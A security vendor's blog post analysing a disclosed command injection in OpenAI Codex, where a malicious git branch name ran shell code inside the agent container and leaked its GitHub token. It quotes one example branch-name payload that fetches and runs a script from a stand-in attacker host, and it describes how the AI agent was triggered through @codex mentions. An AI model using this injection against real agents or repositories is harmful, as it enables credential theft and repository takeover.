A Branch Name as RCE: OpenAI Codex, a Shell Argument, and the GitHub Token It Held

Written by the Rafter Team

OpenAI shipped a flagship AI coding agent with an unsanitized shell argument. BeyondTrust's Phantom Labs found it on December 16, 2025, and OpenAI's fix was in place by February 5, 2026; the disclosure landed publicly on March 30, 2026. The patched scope covered every Codex surface — the ChatGPT web interface, the Codex CLI, the Codex SDK, and the Codex IDE Extension. The injection vector was a git branch name. The payoff was a GitHub User Access Token with read and write across the user's repositories.
The bug class is OS command injection. CWE-78. Compilers and static analyzers have warned about it for two decades. There is nothing AI-specific about how it works. What is AI-specific is where it sat — in the auth-handling path of a shared agent platform that holds a token to your code.
If your team runs Codex against private repositories, audit the GitHub Apps and OAuth grants tied to those repos and rotate any User Access Tokens issued to Codex from before February 5, 2026. The bug was patched, but a token exfiltrated during the live window remains valid until it is rotated.
What the bug actually was
When a Codex user issues a task targeting a specific repository and branch — through the ChatGPT web interface, the CLI, the SDK, or the IDE Extension — the front-end POSTs that branch name to OpenAI's Codex backend. The backend spins up an ephemeral container for the agent, clones the repo at the requested branch, and starts the agent loop.
The branch name is interpolated into a shell command somewhere in that container-bootstrap path. Phantom Labs showed that branch names containing shell metacharacters were not sanitized before being passed through. POSIX shells are forgiving about argument splitting and command substitution, and git's own branch-name validation is more permissive than most assume.
That gap is the entire bug. A branch name shaped like feat/fix$(curl${IFS}attacker.example/x|sh) decomposes into ordinary command substitution once a shell sees it. Anything that survives git's validation and reaches the interpolated command runs as the agent.
The payload in BeyondTrust's demonstration exfiltrates the contents of $GITHUB_TOKEN from inside the agent container. That value is a GitHub User Access Token — the same credential Codex uses to read and write the user's repositories. With that token, an attacker has read and write access across the user's entire codebase. Anything Codex can do, the attacker can do, with the user's identity attached.
How the chain detonated
A normal command-injection bug in a CI tool requires the attacker to push a branch with the malicious name and trick someone into running a job against it. Codex's product surface made detonation cheaper, because the product itself was designed to run agent jobs against arbitrary branches at user request.
Phantom Labs showed that mentioning @codex in a pull-request comment caused Codex to spin up a code-review container against the PR's branch and execute the payload there. The user mentioning Codex did not need to be the attacker. They only needed to be a maintainer of the target repository who used Codex.
That extends the trigger to any input channel where an attacker can plant a @codex mention or convince a maintainer to add one — a comment on a public issue, a "please review" message that gets pasted into GitHub, an automated bot that quotes user content into a PR description.
The same chain, BeyondTrust noted, could be used to lift GitHub Installation Access tokens. Those are organization-scoped credentials issued to GitHub Apps. They are categorically worse to lose than a single User Access Token. They scope to the org. They authorize whatever the App was configured for — pushing code, opening PRs, modifying settings. They rotate on a different cadence than user tokens, and they tend to be invisible to the developers whose work they protect.
Why this is just CWE-78
The bug class compilers and static analyzers have warned about for two decades. There is nothing AI-specific about how it works. A string from an external source is interpolated into a shell command without sanitization, and the shell evaluates it.
What makes the Codex incident notable is where it sits in the stack. AI coding agents are sold as products that compress dev work, and the abstractions they expose to users — "target this branch," "review this PR," "make this change" — are framed in natural language. Underneath, those abstractions resolve to shell commands and HTTP calls and tokens.
Treating the natural-language framing as the boundary of the product, rather than the shell underneath, is how a bug like this ships in the first place. Two decades of injection-prevention practice live on the wrong side of the abstraction.
Two practical observations follow.
First, the inputs that flow into an AI agent are the same inputs that flow into a CI runner — branch names, file paths, PR titles, issue bodies, and commit messages. They have been adversarial inputs in CI for years. Wrapping a CI-shaped backend in an LLM-shaped frontend doesn't change the threat model on the backend. It just makes the frontend friendlier to anyone who isn't pen-testing it.
Second, the token that lives inside the agent is the asset. AI coding agents need broad access to your code, your CI, your dependencies, and your secrets to do useful work. That makes them an attractive theft target, and it raises the cost of any RCE in the same code path. A User Access Token issued to Codex is roughly equivalent to an SSH key that a developer left checkpointed on a build machine — and the build machine, in this case, is shared infrastructure operated by OpenAI.
What the patch covered, and what it didn't
The disclosure timeline matters because it tells you where each Codex surface stood when. Phantom Labs reported the bug to OpenAI on December 16, 2025. OpenAI's fix was in place by February 5, 2026. BeyondTrust published the disclosure on March 30. That gives a public window of roughly seven weeks during which the vulnerability had been fully patched but not yet announced — long enough that any organization on a tight rotation cadence had already cycled the affected tokens for unrelated reasons, and short enough that organizations that rotate quarterly had not.
OpenAI did not publish a CVE for this bug, and at time of writing the public databases do not list one. That makes inventory and exposure tracking harder than it should be. If your appsec team relies on CVE feeds to flag impacted vendors, this incident will not have triggered.
The patch covered the four product surfaces named in the disclosure — ChatGPT's Codex web interface, the Codex CLI, the Codex SDK, and the Codex IDE Extension. It did not, on its own, change the architectural fact that Codex containers hold broad-scope GitHub tokens. A future bug in the same data path lands on the same valuable asset.
What to do
Three things are worth doing this quarter if your team uses AI coding agents that touch real repos.
Treat every input from a third-party surface as adversarial before it reaches a shell. That includes branch names, file paths, PR titles, issue bodies, and commit messages. Validate against an allowlist where you can. Quote rigorously where you can't. Add tests that try to break out — feed $(), backticks, and Unicode lookalikes into every code path that builds a shell command from external input. The branch-name vector here is one example of a much wider class.
Scope the tokens those agents hold. A User Access Token sitting in a container makes the blast radius of any RCE the entire user identity. Prefer fine-grained tokens. Prefer App-scoped Installation tokens with the minimum permission set needed for the task. Prefer time-limited tokens issued from a secrets broker over long-lived static ones. The reflex to give an agent "just enough access to do its job" is the right reflex; the failure mode is when "just enough" turns into repo:*.
Scan the agent's own code the way you scan production. The Codex bug was a string flowing into execSync, or its moral equivalent — CWE-78, the bug class compilers and code scanners have flagged for two decades. If your security team's view of "AI security" stops at prompt injection, this incident is the corrective. The bug here is older than prompt injection and far better understood — and it shipped anyway.
How Rafter helps
Rafter's Code Analysis Engine looks for exactly this bug class — an unsanitized string flowing into a shell — and surfaces it on the diff that introduces the dangerous pattern, before the agent ever runs in someone else's container.
Rafter does not patch a vendor's already-deployed bug. It does shorten the window for the next one to be born in your own code path.
Closing on the branch name
A branch name is the smallest piece of attacker-controlled text in the modern dev workflow. It is shorter than a commit message, less inspected than a PR title, and routed through tooling that was built when nobody expected git to be the front door to a customer's container.
If a single branch name can detonate inside an agent and walk out with the agent's token, every other attacker-controlled string in the same data path deserves the same scrutiny. Yours, and the vendor's.
The bug class doesn't care which decade you ship in. AI coding agents are a new wrapper for old bugs, not a new defense.
Further reading
- Three Supply Chains, One Trust Relationship — agent runtime, marketplace, and registry as compounding trust relationships.
- The AI Agent Attack Surface in Practice — how agent-shaped products turn ordinary inputs into privileged execution paths.
- CamoLeak: Invisible Exfiltration Channel — a related Copilot-class bug where attacker-controlled input reached a privileged context.
- The Vercel / Context.ai Breach — what happens when a token issued to a third-party AI tool is the entry point for a multi-hop chain.